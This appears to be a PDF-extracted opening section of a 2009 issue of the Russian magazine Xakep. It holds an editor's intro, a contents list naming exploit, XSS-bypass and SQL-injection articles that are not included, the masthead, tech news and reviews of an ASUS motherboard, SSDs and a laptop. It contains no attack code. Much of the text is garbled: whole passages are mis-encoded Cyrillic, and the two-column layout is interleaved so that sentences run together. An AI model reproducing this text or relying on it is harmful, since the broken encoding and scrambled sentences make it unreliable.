Академический Документы
Профессиональный Документы
Культура Документы
INTRO
×àñòî ïîëó÷àþ êîììåíòàðèè î òîì, áóäòî íàø æóðíàë äîðîãî ñòîèò. È âîò ÷òî õî÷ó ñêàçàòü:
ðåáÿòà, íó ó íàñ æå íå ãàçåòà «Íîâîñòè ïîäìîñêîâüÿ», äà è ìû íå ìåöåíàòû :). Íàø æóðíàë ñòîèò ðîâíî ñòîëü-
êî, ñêîëüêî îí ñòîèò, è ìû çíàåì åìó öåíó.
Ýòî öåíà áîëüøîé ðàáîòû, êîòîðóþ äåñÿòêè ëþäåé ïðîäåëûâàþò êàæäûé ìåñÿö, ïî êðóïèöàì ñîáèðàÿ Õ è äå-
ëàÿ åãî òàêèì, êàêîé îí åñòü. Òðè äåñÿòêà êëàññíûõ ñòàòåé, 8.5 Ãá ñîôòà íà äèñêå, 144 ïîëîñû íîâîãî êîíòåíòà,
êó÷à èññëåäîâàòåëüñêîé ðàáîòû, âçëîìîâ è ïåí-òåñòîâ. Çíàþ òî÷íî, ÷òî, ïðè ïðàâèëüíîì èñïîëüçîâàíèè,
Õàêåð äàåò î÷åíü ìíîãî íîâûõ çíàíèé, êîòîðûå ñòîÿò ÿâíî äîðîæå öåíû æóðíàëà.
P.S. Ðàç óæ ïîäíÿë ýòó òåìó, õî÷ó íàïîìíèòü íà âñÿêèé ñëó÷àé îá îòëè÷íîì ñïîñîáå ïîëó÷àòü æóðíàë ïî ôèê-
ñèðîâàííîé öåíå è äàæå ñî ñêèäêîé: ðåäàêöèîííàÿ ïîäïèñêà. Òåïåðü åå ìîæíî áûñòðî îôîðìèòü â ëþáîì
òåðìèíàëå QIWI, ïîñëå ÷åãî òû íà÷íåøü ïîëó÷àòü æóðíàë êóðüåðîì, åñëè æèâåøü â Ìîñêâå è áàíäåðîëüþ, –
åñëè íå â Ìîñêâå.
ÏÐÈßÒÍÎÃÎ ×ÒÅÍÈß!
PC_ZONE Êîäèíã
026 ВКЛЮЧАЕМ TOR НА ВСЮ КАТУШКУ 102 WEB ЧЕРЕЗ ZOPE
Заставляем анонимную сеть Обзор питоновского web-фреймворка Zope
работать на наши хакерские цели 106 ГУГЛОСЕРВИСЫ ДЛЯ ХАКЕРА
034 ОБЛАЧНЫЕ ВЫЧИСЛЕНИЯ ПРОТИВ Овладеваем сервисами
ВИРУСОВ мегакорпорации с помощью Python’a
На что способен Norton Internet Security?
038 ЛУЧШИЕ ИНСТРУМЕНТЫ ПЕНТЕСТЕРА SYN/ACK
Тема — отладчики и дизассемблеры 110 СЕТЕВАЯ РАССАДА
Microsoft Deployment Toolkit 2010: решение
Âçëîì для организации простого развертывания
042 EASY-HACK Windows-систем и приложений
Хакерские секреты простых вещей 115 СРАЖЕНИЕ НА ТРЕХ ФРОНТАХ
046 ОБЗОР ЭКСПЛОИТОВ Защищаем популярные
Разбираем свежие уязвимости сервисы платформы Microsoft
052 BACKSTREET'S BACK! 120 ВОЗДВИГНЕМ NAS НА РАЗ!
Тотальное уничтожение группы Backstreet Boys Создаем мультипротокольный
056 ГОРЯЩИЕ СТЕНЫ ЗАЩИТЫ NAS из старого компа
Файрвол для веб-приложений: 126 IN DA FOCUS
способы обнаружения и обхода Обзор серверных железок
062 СКАЗКИ XSSАХИРИЗАДЫ 128 ПОД ПРЕССОМ IT-РИСКОВ
1000 и 1 способ обойти XSS-фильтр Обзор Open Source систем
067 X-CONTEST управления уязвимостями
Хак-квест от редакции
068 ЭНЦИКЛОПЕДИЯ АНТИОТЛАДОЧНЫХ Þíèòû
ПРИЕМОВ 134 PSYCHO:
Реверсерские трюки и фишки ТАЙНЫЕ ВРАТА В ЦАРСТВО МОРФЕЯ
072 ТРОЯНСКАЯ БИТВА Теория и практика осознанных сновидений
Объявляем войну обфусцированным лоадерам 140 FAQ UNITED
076 УКОЛ СЛОНУ Большой FAQ
Руководство по реализации 143 ДИСКО
SQL-Injection в PostgreSQL 8.5 Гб всякой всячины
082 X-TOOLS 144 WWW2
Программы для взлома Удобные web-сервисы
034
ïîëüçîâàòåëü
èíòåðíåò
056 âåá-ñåðâåð
àòàêóþùèé
052
/ÐÅÄÀÊÖÈЯ >Редактор Unix-раздела >Директор группы GAMES & DIGITAL > Ãîðячая ëèíèя ïî ïîäïèñêå
>Ãëàâíûé ðåäàêòîð Антон «Ant» Жуков Евгения Горячева (goryacheva@gameland.ru) òåë.: 8 (800) 200.3.999
Íèêèòà «nikitozz» Êèñëèöèí >Монтаж видео >Менеджеры Áåñïëàòíî äëÿ çâîíÿùèõ èç Ðîññèè
(nikitoz@real.xakep.ru) Максим Трубицын Ольга Емельянцева > Äëя писем
>Âûïóñêàþùèé ðåäàêòîð Мария Нестерова 101000, Ìîñêâà,
Николай«gorl»Андреев /PUBLISHING Мария Николаенко Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð
(gorlum@real.xakep.ru) Максим Соболев Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå
Надежда Гончарова Ðîññèéñêîé Ôåäåðàöèè ïî äåëàì ïå÷àòè,
>Ó÷ðåäèòåëü Наталья Мистюкова
>Ðåäàêòîðû ðóáðèê ÎÎÎ «Ãåéì Ëýíä» òåëåðàäèîâåùàíèþ è ñðåäñòâàì ìàññîâûõ
ÂÇËÎÌ >Администратор êîììóíèêàöèé ÏÈ ß 77-11802 îò 14
119021, Москва, ул. Тимура Фрунзе, Мария Бушева
Дмитрий«Forb» Докучаев д. 11, стр. 44-45 ôåâðàëÿ 2002 ã.
(forb@real.xakep.ru) >Работа с рекламными агентствами Îòïå÷àòàíî â òèïîãðàôèè
Тел.: +7 (495) 935-7034 Лидия Стрекнева (strekneva@gameland.ru)
PC_ZONE и UNITS Факс: +7 (495) 780-8824 «Lietuvas Rivas», Литва.
Степан «step» Ильин >Старший менеджер Òèðàæ 100 000 ýêçåìïëÿðîâ.
>Генеральный дèðåêòîð Светлана Пинчук
(step@real.xakep.ru) Äìèòðèé Àãàðóíîâ Öåíà äîãîâîðíàÿ.
UNIXOID, SYN\ACK и PSYCHO >Старший трафик-менеджер
>Óïðàâëÿþùèé äèðåêòîð Марья Алексеева
Àíäðåé «Andrushock» Ìàòâååâ Äàâèä Øîñòàê Ìíåíèå ðåäàêöèè íå îáÿçàòåëüíî
(andrushock@real.xakep.ru) >Äèðåêòîð ïî ðàçâèòèþ ñîâïàäàåò ñ ìíåíèåì àâòîðîâ. Ðåäàêöèÿ
ÊÎÄÈÍÃ Ïàøà Ðîìàíîâñêèé óâåäîìëÿåò: âñå ìàòåðèàëû â íîìåðå
Александр «Dr. Klouniz» Лозовский /ÎÏÒÎÂÀЯ ÏÐÎÄÀÆÀ ïðåäîñòàâëÿþòñÿ êàê èíôîðìàöèÿ ê
>Äèðåêòîð ïî ïåðñîíàëó >Äèðåêòîð îòäåëà
(alexander@real.xakep.ru) Татьяна Гудебская ðàçìûøëåíèþ. Ëèöà, èñïîëüçóþùèå
>Ëèòåðàòóðíûй ðåäàêòîð äèñòðèáóöèè äàííóþ èíôîðìàöèþ â ïðîòèâîçàêîííûõ
>Ôèíàíñîâûé äèðåêòîð Àíäðåé Ñòåïàíîâ
Дмитрий Лященко Анастасия Леонова öåëÿõ, ìîãóò áûòü ïðèâëå÷åíû ê
(lyashchenko@gameland.ru) (andrey@gameland.ru) îòâåòñòâåííîñòè. Ðåäàêöèÿ â ýòèõ ñëó÷àÿõ
>Редакционный директор >Руководитель московского
Дмитрий Ладыженский îòâåòñòâåííîñòè íå íåñåò.
/ART >PR-менеджер
направления
>Àðò-äèðåêòîð Ольга Девальд Ðåäàêöèÿ íå íåñåò îòâåòñòâåííîñòè çà
Наталья Литвиновская (devald@gameland.ru)
Евгений Новиков >Директор по маркетингу ñîäåðæàíèå ðåêëàìíûõ îáúÿâëåíèé â
(novikov.e@gameland.ru) >Руководитель регионального íîìåðå. Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ
Дмитрий Плющев направления
>Верстальщик >Главный дизайнер áåç ñïðîñà — ïðåñëåäóåì.
Вера Светлых Òàòüÿíà Êîøåëåâà
Энди Тернбулл (kosheleva@gameland.ru )
(svetlyh@gameland.ru) >Директор по производству По вопросам лицензирования и получения
>Руководитель отдела подписки прав на использование редакционных ма-
Сергей Кучерявый
/DVD Марина Гончарова териалов журнала обращайтесь по адресу:
>Выпускающий редактор (goncharova@gameland.ru) content@gameland.ru
Степан «Step» Ильин òåë.: (495) 935.70.34
/ÐÅÊËÀÌÀ ôàêñ: (495) 780.88.24
(step@real.xakep.ru) / Тел.: (495) 935-7034, факс: (495) 780-8824 © ÎÎÎ «Ãåéì Ëýíä», РФ, 2009
MEGANEWS МАРИЯ «MIFRILL» НЕФЕДОВА MIFRILL@REAL.XAKEP.RU
MEGANEWS
ОБО ВСЕМ ЗА ПОСЛЕДНИЙ МЕСЯЦ
ÌÛ ÄÅËÈËÈ ÀÏÅËÜÑÈÍ
Мы уже писали о том, что создатели Skype Никлас Зеннстрем и
Янус Фриис пытаются вернуть свое детище обратно, хотя сами же
продали Skype компании eBay за 3.1 миллиарда долларов четыре
года назад. Но тогда предприимчивые шведские бизнесмены со-
хранили на руках патенты на технологию Joltid, на основе которой
и работает Skype. В итоге, eBay использовал Joltid по лицензии,
которую Зеннестрем и Фриис, согласно своему коварному плану,
отозвали в судебном порядке несколько месяцев назад. После
было сделано предложение о выкупе Skype. Однако eBay не по-
шел по поводу у шантажистов и вместо этого, продал Skype группе
частных инвесторов. Теперь 65% акций Skype принадлежит им,
а оставшиеся 35% по-прежнему являются собственностью eBay.
Зеннестрем и Фриис, рассчитывавшие на «капитуляцию против-
ника», а точнее ожидавшие, что после аннулирования лицензии,
они смогут выкупить Skype обратно по бросовой цене, незамед-
лительно подали в суд, обвиняя eBay в нарушении патентов. В
eBay же до сих пор делают хорошую мину при плохой игре и не
ÓÌÍÛÅ ÍÀÓØÍÈÊÈ собираются уступать, даже грозясь переписать все с нуля, дабы
не нарушать ничьих авторских прав. Слушания по этому запутан-
ному делу начнутся не ранее 2010 года.
Отличную разработку предста- реагирует на движение, то есть,
вила компания Sony Ericsson: имеет жестовую систему управ-
гарнитура Sony Ericsson MH907 ления. Чтобы включить музыку,
— это первый в мире хэдсет, достаточно вставить в уши оба
PC27
ÍÅ ÓÑÏÅÂÀÅØÜ
ÄÎÑÌÎÒÐÅÒÜ?
ÏÐÎÄÎËÆÈ ÏÎÒÎÌ
На YouTube появилась новая фишка, которая сильно
облегчит жизнь всем, кто любит смотреть длинные ролики
и не возражает против просмотра фильмов в онлайне.
Теперь если ты неожиданно прерываешь просмотр ролика
(например, случайно закрыв окно) YouTube запоминает, что
ты смотрел и на каком моменте остановился, и при следую-
щем визите, ты продолжишь с того же места. Работает это
правило для роликов длиной не менее 20 минут, а во-из-
бежании ложных срабатываний ты должен посмотреть не
меньше минуты видео, а до конца должно оставаться не ÒÅÑÒÛ ÆÓÐÍÀËÀ COMPUTERWORLD ÏÎÊÀÇÀËÈ,
×ÒÎ GOOGLE CHROME 3.0 Â 2.5 ÐÀÇÀ
менее трех минут. Учитывая, что YouTube вовсю работает
над подписанием договоров с крупными игроками кино- и
ÇÀÐÀÁÎÒÎÊ Â ÁËÎÃÅ
Новый совместный проект Google и LiveJournal предлагает юзерам, у
которых есть платный аккаунт в ЖЖ, зарабатывать на своем блоге деньги.
Система «Твой журнал — твои деньги» (Your Journal — Your Money) проста,
и потребует только наличия платного аккаунта в ЖЖ и аккаунта Google
AdSense. В профиле LJ появилась новая вкладка «Моя реклама», где
можно выбрать формат рекламы (текстовая или баннерная) и место ее
расположения в журнале. Ну а дальше полагается расслабиться и пожи-
нать плоды кликов. Кстати, интересно — платные пользователи рекламу
по-прежнему видеть не будут, и эту тоже, если только не решат посмотреть
на нее добровольно. Все вырученные от показов AdSense деньги пойдут
владельцу журнала (за вычетом доли Google). Идея неплоха, спору нет,
только вот большинство пользователей в лучшем случае смогут заработать
себе на оплату аккаунта, чего нельзя сказать о Google и LiveJournal :).
PC27 J3
ÐÎÑÑÈÉÑÊÈÅ ÊÎÏÈÐÀÑÒÛ
ÀÒÀÊÓÞÒ
Наши защитники авторских прав, похоже, решили перещеголять запад-
ных коллег — те пока не дошли до обращений к интернет-поисковикам,
с требованиями убрать «криминальные» ссылки из результатов поиска.
А вот российская ассоциация DVD-издателей, занимающаяся распро-
странением через сеть цифровых копий фильмов, направила письма
в Google, «Яндекс», Rambler и Mail.ru. Для придания требованиям
серьезности, в ход, как обычно, пошли цифры, дескать, из-за файлооб-
мена компании теряют 15% дохода от продаж и порядка 10% процентов
прибыли от кинопроката. Тем не менее, в русском Google ассоциацию
DVD-издателей вежливо переадресовали в головной офис, назвав то,
что они предлагают, «цензурированием», а в «Рамблере» откомменти-
ровали, что поисковики не проверяют лицензии у сайтов, а лишь выдают
объективную картину.
HD-ÏËÅÅÐ ÓÍÈÂÅÐÑÀË
Компания Compro Technology поведала о
выпуске на российский рынок нового HD-пле-
ера «VideoMate Network Media Centre 1000W»,
который способен заменить собой целый ряд
устройств, став медийным центром дома. Плеер
может похвастаться поддержкой формата H.264
и разрешения вплоть до 1080p (Full HD), умеет
воспроизводить видео с HD-камер формата
AVCHD без предварительной конвертации,
а также имеет SATA-интерфейс, так что для
хранения данных можно использовать и HDD.
Помимо перечисленного, выполненный в
изящном серебристом корпусе девайс умеет
подключаться к интернету посредством LAN
или беспроводных сетей 802.11g, и может даже
исполнять обязанности BitTorrent-клиента. Как
нетрудно догадаться, с хранением и воспроиз-
ведением фильмов, музыки, фотографий и дру-
гого медиа-контента у 1000W нет никаких
проблем, плеер справляется с этим
на ура. Еще одним приятным
бонусом стало пассивное
охлаждение, и как следствие
— совершенно бесшум-
ная работа устройства.
Здесь стоит заметить, что,
благодаря хитрой системе
циркуляции воздуха, плеер
не перегревается даже при
длительной работе.
XÀÊÅÐ 10 /130/ 09 11
MEGANEWS
ÂÈÐÓÑÛ
 ÑÎÖÈÀËÜÍÛÕ ÑÅÒßÕ
Новая зараза дала знать о себе, распространившись в «Живом журнале»
(ЖЖ). Малварь был написан на Flash и прятался в постах, сопровождае-
мых видео-контентом. Если залогиненый в LJ пользователь натыкался на
зараженный таким постом журнал, его собственный блог тоже инфициро-
вался через кросс-доменный запрос на Livejournal.com. Вирь сбрасывал
настройки последних записей в журнале на настройки по умолчанию (за-
писи становились публичными и сопровождались дефолтным юзерпиком),
вывешивал новую запись, содержащую Flash-заразу, а также e-mail адрес
хозяина ЖЖ отправлялся прямиком к авторам вируса. Несмотря на это, в
Sup Fabric утверждают, что случаев кражи паролей не было. Впрочем, воз-
можно до этого просто не успело дойти — пострадать успело всего порядка
100 человек. Получив жалобы от юзеров, в SUP быстро прикрыли доступ
ко всему видео-контенту вообще, и, лишь устранив уязвимость, «вернули
ÈÃÐÎÄÅËÛ Все более интересные новости поступают из стана разработки Project Natal. Мы
ÏÎÄÊËÞ×ÈËÈÑÜ уже не раз писали об этой инновационной технологии Microsoft, благодаря которой
играть и управлять медиа-контентом станет возможно безо всяких манипуляторов.
Ê PROJECT NATAL Все что тебе потребуется с Project Natal — твое собственное тело (не считая, конечно,
сенсора для XBox 360, для которой Natal разрабатывается). Хочешь — листай меню
взмахом руки, хочешь — скачи, как сумасшедший, «катаясь на скейте», «играй в
футбол», «рули» и так далее. Любые движения, распознавание мимики, практически
любые симуляторы, что могут придти в голову, полный интерактив с виртуальным
«заэкраньем», и большие перспективы в будущем, вплоть до шопинга с функци-
ей примерки на реального себя виртуальной одежды. Но такой технологии нужна
поддержка, нужны компании, которые будут выпускать продукты под нее. На этот счет
все стоически «хранили радиомолчание», и вот на прошедшей TGS’09 (Tokyo Game
Show) сразу ряд компаний «вышли из тени», объявив о работе над проектами для
Natal. Среди них оказались такие монстры как Sega, Electronic Arts, Activision Blizzard
и Capcom. Страшно подумать, что у них может получиться.
XÀÊÅÐ 0
180 /12
380/ 09 013
13
Реклама
MEGANEWS
ÍÅ ÕÎÄÈÒÅ ÄÅÒÈ
ÂÎ ÔÐÀÍÖÈÞ ÃÓËßÒÜ
Очередное очко в противостоянии «копи- го пирата» штраф до 300.000 евро, при-
райтеры vs анти-копирайтеры» заработали говорить его к лишению свободы сроком
сторонники авторских прав. Отныне во до 2 лет, или же отключить от интернета.
Франции «злоупотребляющих» инетом Из всех французских карательных мер
юзеров, то есть, качающих и распростра- отключение от Сети видится самой безо-
няющих контрафакт, будут отключать от бидной. Недаром принятие антипиратских
Сети. Власти теперь будут обязаны трижды поправок пытался опротестовать Конститу-
предупредить нарушителя, и если это не ционный совет страны, и жаль, что из этого
поможет, суд может наложить на «злостно- ничего не вышло.
ÌÀÒÜ ÂÀØÀ!
ÒÅÑÒÈÐÎÂÀÍÈÅ ÑÈÑÒÅÌÍÎÉ ÏËÀÒÛ ASUS P7P55D DELUXE
ASUS P7P55D DELUXE — материнская плата, созданная на базе чипсета
Intel P55 Express и рассчитанная на установку новых процессоров Intel
Core i5. Материнская плата входит в категорию Asus Xtream Design
и позиционируется как решение с повышенной производительностью
и надежностью, что добавляет интереса сегодняшнему обзору.
форм-факторе ATX и первое, что бросается Отдельного внимания заслуживает новая
ÂÍÅØÍÈÉ ÂÈÄ в глаза при осмотре — это оригинальный конструкция блокиратора процессора.
Устройство поставляется в яркой упаковке, дизайн пассивной системы охлаждения цепи Теперь это более надежный и удобный
как это и свойственно продуктам ASUS. Внут- питания и большая прямоугольная пластина, механизм крепления с продолговатой
ри, помимо самой платы обнаружились кабе- являющаяся охладителем чипсета. лапкой. Пространства вокруг сокета
ли для подключения приводов и накопителей, К слову, в Intel P55 Express все основные достататочно для установки м а ссивного
диск с программным обеспечением, планки компоненты северного моста вынесены в кулера, но вряд ли здесь станет возмож-
с дополнительными разъемами, инструк- процессор, а сам чипсет реализует главным ным монтаж модели с низким профилем.
ция пользователя, а также проводной пульт образом функции южного моста: работу с пла- Четыре разъема DIMM, которые работают
дистанционного управления, возможности тами расширений и периферией. Что касается с памятью DDR3, обладают зажимами
которого мы рассмотрим чуть позже. подсистемы питания, то она выполнена по только с одной стороны. Ближе к слотам
Сама плата изготовлена в классическом формуле 16+3 фазы. PCI-Express находится лишь фиксиру-
оснащена тремя слотами PCI-Express. Так вот пара из них может работать
ÂÎÇÌÎÆÍÎÑÒÈ в режиме «8X+8X». Мало того, системная плата может одинаково успешно
На панели вывода платы присутствует изобилие разъемов. Есть здесь работать как с видеокартами в режиме NVIDIA SLI, так и с акселераторами
и восемь (!) USB, и два RJ-45, и оптический SPDIF/Out, не говоря уже в конфигурации AMD CrossFire. Нельзя не упомянуть и о звуке. Мы сразу
о коаксиальном. Нашлось место даже для кнопки сбора CMOS. На обратили внимание, что производитель сделал ставку на 10-канальный
самой плате присутствуют также и клавиши (да, полноценные кнопки) (что уже необычно) кодек HDA-класса производства VIA. Часто вендоры
выключения и перезагрузки. Такие прелести незаменимы, если плата ограничиваются схемами от Realtek, но в случае с ASUS P7P55D Deluxe у
используется в качестве тестового стенда или платформы для хардкор- нас не было претензий. Конечно, звучание не сравнится с дискретными
ного разгона с азотом, ведь в этом случае нет необходимости постоянно моделями аудиокарт, однако для интегрированного варианта звучание
замыкать отверткой нужные контакты. В общем, фишка придется по неплохое. Наконец, нельзя не сказать о пульте дистанционного управле-
вкусу маньякам-оверклокерам. ния. С каждой топовой платой от ASUS идет какой-то приятный прибамбас,
Платформа оснащена тремя слотами PCI-Express X16. Первый работает который позволяет выделить продукт из сонма подобных. В числе таких
в режиме Х16, если в системе используется только один графический «приманок» были жидкокристаллические дисплей, системы водяного
адаптер. Третий слот работает только в режиме Х4 и пригодится, если охлаждения и даже оригинальная подсветка печатной платы. В нашем
планируется установка дополнительной видеокарты, например, для случае таким бонусом служит пульт для работы с технологией Turbo V. Нам
работы с большим количеством мониторов. Первый и второй разъем приходилось встречаться с этой функцией и раньше. Этот оверклокерский
могут работать в конфигурации «8X+8X». Следует принять во внимание движок позволял менять настройки системы на лету, не покидая опера-
и простой способ фиксации видеокарт в разъемах. Здесь всего одна ционной системы. Управлялка делает этот процесс еще более быстрым
массивная лапка, которая облегчает процесс монтажа или удаления и потешным. Например, три клавиши «A», «B» и «C» активируют один из
устройства из системы. предустановленных профилей (повышение рабочей частоты на 3%, 7%
На материнской плате присутствует большое количество портов для или на уровень, заявленный пользователем). Можно с помощью пульта
подключения SATA-накопителей. Здесь есть 6 стандартных разъемов, управлять и движком EPU, что делает еще более ценным его присутствие
которые поддерживают работу Intel Matrix Storage 9, а также RAID уров- в комплекте.
ня 0, 1, 5 и 10. Еще есть три порта SATA обеспеченных дополнительными
контроллерами. В частности синий и белый разъемы работают благода-
ря JMicron JMB322 и поддерживают технологию Drive Xpert. ÂÛÂÎÄÛ
С момента анонса Intel P55 Express большинство компаний поста-
рались сразу же представить собственные модели системных плат
ÄÎÏÎËÍÈÒÅËÜÍÛÅ ÔÓÍÊÖÈÈ на этом чипсете. Однако ASUS удалось сделать собственный продукт
Первая функция, о которой следует упомянуть — это «MemOK!». На плате оригинальным и интересным для оверклокеров и просто любителей
предусмотрена клавиша, которая позволяет активировать одним ее всего эксклюзивного в сфере настольных платформ. Максимальная
нажатием безопасные настройки памяти. К другим заметным особен- функциональность, функции автоматического разгона, мощный оверк-
ностям платформы следует отнести поддержку одновременной работы локерский движок — все это получит пользователь, пусть и не за столь
нескольких графических адаптеров. Как было сказано ранее, платформа скромную плату.z
ÐÅÇÓËÜÒÀÒÛ ÒÅÑÒÈÐÎÂÀÍÈß
Super PI, mod 1.5 XS: 13,2 сек
WinRAR 3.8: 1501 Кбайт/с
3DMark’06, Overall: 15168
ÊÎÍÊÓÐÑ ASUS
3DMark’06, CPU: 4056 Заходи на сайт www.xakep.ru и при-
PCMark’05, CPU: 7318 нимай участие в конкурсе компании
Lavalys Everest Ultimate, Memory Read: 15211 ASUS и редакции z. Все, что требуется
Мбайт/с в конкурсе — правильно ответить на
Lavalys Everest Ultimate, Memory Write: 13248 5 вопросов о материнской плате ASUS
Мбайт/c P7P55D.
Lavalys Everest Ultimate, Memory Latency: 42.4 нс Разыгрывается PDA ASUS MyPal A686
Crysis, High Detail, 1680x1050: 63,1 FPS и два сувенирных набора ASUS: BT-
Fallout 3, Medium, 1680x1050: 85,4 FPS мышь, наушники и веб-камера.
Far Cry 2, 1680x1050: 74,4 FPS
A-Data
Tanscend
Kingston V
Intel
SSD
ung
A-Data
Tanscend
Òåñòèðîâàíèå
OCZ Technology òâåðäîòåëüíûõ íàêîïèòåëåé
МЕТОДИКА цифры процентов, секунд и баллов, а оце- тестов изделия SSD превосходят HDD по
ТЕСТИРОВАНИЯ нивать то, как устройство будет вести себя скорости чтения\записи (в основном, —
Проведенные нами тесты можно условно при реальной работе. ненамного), а самые яркие результаты — в
разделить на три группы: имитация работы тестах на время доступа, которых они опере-
реальных приложений, проверка времени ТЕХНОЛОГИИ жают жесткие диски в разы. Очевидно, что
доступа и испытания на скорость чтения\ Устройства SSD (расшифровывается как ноутбук с SSD-устройством вместо жест-
записи. Для проверки скорости случай- Solid State Disk, твердотельный нако- кого диска ест меньше энергии, быстрее и
ной записи и случайного и линейного питель) на данный момент являются дольше работает, меньше греется и более
чтения мы использовали тесты из состава оптимальным решением для мобильных подходит для работы в движении. Пока у
программы Everest. Утилита h2benchw компьютеров. Почему? Потому что лишены технологии SSD есть две проблемы: это
использовалась для измерения времени всех недостатков жестких дисков. В SSD- высокая стоимость устройств и их неболь-
чтения и записи. Имитацией реальных устройствах нет движущихся частей, они шой, по сравнению с жесткими дисками,
приложений нам служил тестовый пакет невосприимчивы к вибрации и менее чувс- объем. Но оба этих недостатка постепенно
PCMark’05, из которого мы запускали твительны к ударам; они потребляют очень исправляются, так что из мобильных ПК эти
имитацию загрузки Windows XP, загрузку мало электроэнергии и, соответственно, накопители скоро начнут перебираться и в
приложений, антивирусное сканирование, выделяют мало тепла; кроме того, их ско- настольные. Все участники сегодняшнего
запись файлов и «простую» работу диска. рость на сегодняшний день уже существен- теста имеют интерфейс SATA. Ты сможешь
Особенность этого теста заключается в но выше скорости HDD. Забегая немного без проблем подключить их к своему ком-
том, что он позволяет смотреть не на сухие вперед, скажу, что по результатам наших пьютеру и испробовать в деле.
ology
14000 ðóá.
INTEL
A-DATA SSDSA2MH080G15E
ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
S592 ЕМКОСТЬ, ГБ: 80
ФОРМ-ФАКТОР: 2,5”
ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ: ИНТЕРФЕЙС: SATA-II
ЕМКОСТЬ, ГБ: 128 ЗАЯВЛЕННАЯ СКОРОСТЬ ЧТЕНИЯ, МБАЙТ/C: 250
ФОРМ-ФАКТОР: 2,5” ЗАЯВЛЕННАЯ СКОРОСТЬ ЗАПИСИ, МБАЙТ/С: 70
ИНТЕРФЕЙС: SATA-II
ЗАЯВЛЕННАЯ СКОРОСТЬ ЧТЕНИЯ, МБАЙТ/C: 230
ЗАЯВЛЕННАЯ СКОРОСТЬ ЗАПИСИ, МБАЙТ/С: 170
Не все это знают, а компания Intel производит не только процессоры,
но и массу других устройств. Сегодня к ним добавились и изделия
SSD. Проектируя диск Intel SSDSA2MH080G15E, сознательно или нет,
Обладая 64 Мб буфером, накопитель A-Data S592 во всех тестах показал инженеры-разработчики добились его оптимизации под две задачи —
весьма впечатляющие результаты. Редко опускаясь ниже второго или быстрая загрузка операционной системы Windows XP и быстрый старт
третьего места, в тесте на имитацию «обычной» работы жесткого диска приложения. Это доказывает абсолютная победа диска в тестах PCMark
(тест General Usage из комплекта PCMark’05) он опередил все остальные XP Startup и Application Loading. Мы уверены, что найдется масса людей,
устройства. Нужно отметить, что минимальная и максимальная скорость для которых эти параметры гораздо важнее, чем просто скорость чтения
работы A-Data S592 отличаются не очень сильно, то есть он работает или записи. Конечно, ведь никто не любит ждать, пока запустится игра
стабильно быстро в независимости от каких-то обстоятельств. Стоимость или загрузится ОС.
устройства относительно невелика, поэтому, учитывая его скоростные
характеристики, A-Data S592 становится обладателем титула «Лучшая
покупка». Несмотря на заявленную производителем в технических характеристи-
ках скорость записи 70 Мб\с, средняя скорость записи составила только
64 Мб\с, при разбросе от 12.5 до 76.6 Мб\с. Никто не знает, быстро ли
Возможно, именно из-за невысокой цены, комплектация устройства будет работать диск в конкретный момент. Кроме того, емкость устройс-
практически отсутствует — кроме него самого, в коробке находится толь- тва крайне невелика. Что такое сегодня 80 Гб? Тут даже высокая скорость
ко небольшая инструкция. загрузки ОС и старта ПО не кажется оправданием такой цены.
9500 ðóá.
16000 ðóá.
SAMSUNG TRANSCEND
MMDOE56G5MXP TS192GSSD25S-M
ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ЕМКОСТЬ, ГБ: 256 ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ФОРМ-ФАКТОР: 2,5” ЕМКОСТЬ, ГБ: 192
ИНТЕРФЕЙС: SATA-II ФОРМ-ФАКТОР: 2,5”
ЗАЯВЛЕННАЯ СКОРОСТЬ ЧТЕНИЯ, МБАЙТ/C: 220 ИНТЕРФЕЙС: SATA-II
ЗАЯВЛЕННАЯ СКОРОСТЬ ЗАПИСИ, МБАЙТ/С: 200 ЗАЯВЛЕННАЯ СКОРОСТЬ ЧТЕНИЯ, МБАЙТ/C: 150
ЗАЯВЛЕННАЯ СКОРОСТЬ ЗАПИСИ, МБАЙТ/С: 90
Samsung
PCMARK 05 — XP STARTUP EVEREST LINEAR READ
A-Data S592 128 Gb A-Data S592 128 Gb A-Data
Intel SSDSA2MH080G15E 80 Gb Intel SSDSA2MH080G15E 80 Gb
Tanscend
Kingston V Series 128 Gb Kingston V Series 128 Gb
OCZ Technology Vertex Series 120 Gb OCZ Technology Vertex Series 120 Gb
Samsung MMDOE56G5MXP 256 Gb Samsung MMDOE56G5MXP 256 Gb
Transcend TS192GSSD25S-M 192 Gb Transcend TS192GSSD25S-M 192 Gb
Мбайт/с 0 20 40 60 80 100 среднее минимум максимум Мбайт/с 0 50 100 150 200 250 300 OCZ Technolog
Несмотря на более низкие результаты Самый недорогой диск (Kingston V Series 128 Гб) занимает самое
в остальных тестах, в этом лидирует Intel SSDSA2MH080G15E последнее место
И снова изделие Intel опережает конкурентов. Возможно, дело в Хорошо видно, как максимальные и минимальные показатели могут
специальной оптимизации под быстрый старт ОС и ПО различаться
Этот тест, где лидируют наши победители, доказывает, что они не зря Лидеры впереди. Это единственный тест,
получили награды которое провалило изделие Intel
Еще одно доказательство того, что лидеры стали такими заслуженно. Лидеры теста — лидеры обзора
Диск Transcend также показал хороший результат
Первые места снова достаются победителям сегодняшнего теста Лидеры теста — лидеры обзора
ASUS U80V
Компактный и производительный ноутбук для работы
Как и другие ноутбуки U-серии, ASUS U80V следует концепции
Thin&Light, главная идея которой заключается в максимальном умень-
шении габаритов и веса ноутбука без ущерба для производительности,
эргономики и мобильности. С тем, насколько это удалось сделать,
мы и разберемся.
Начать надо с того, что ASUS U80V — действительно мощная ма- ФИШКА 1:
шина, построенная на базе современной процессорной техноло- ЭРГОНОМИКА
гии Intel® Centrino® 2. Суди сам: 4 Гб памяти, мощный мобиль- Если отбросить субъективные вещи вроде оценок внешнего вида,
ный процессор Intel® Core™ 2 Duo T9550 с частотой 2.66 ГГц и нельзя не отметить совершенно объективный факт, что инженеры ASUS
производительное графическое ядро ATI MR HD4570 с 512Мб уделили большое внимание вопросам эргономики и работать за этим
видеопамяти. Так же в этом ноутбуке используется новая матрица ноутбуком действительно удобно.
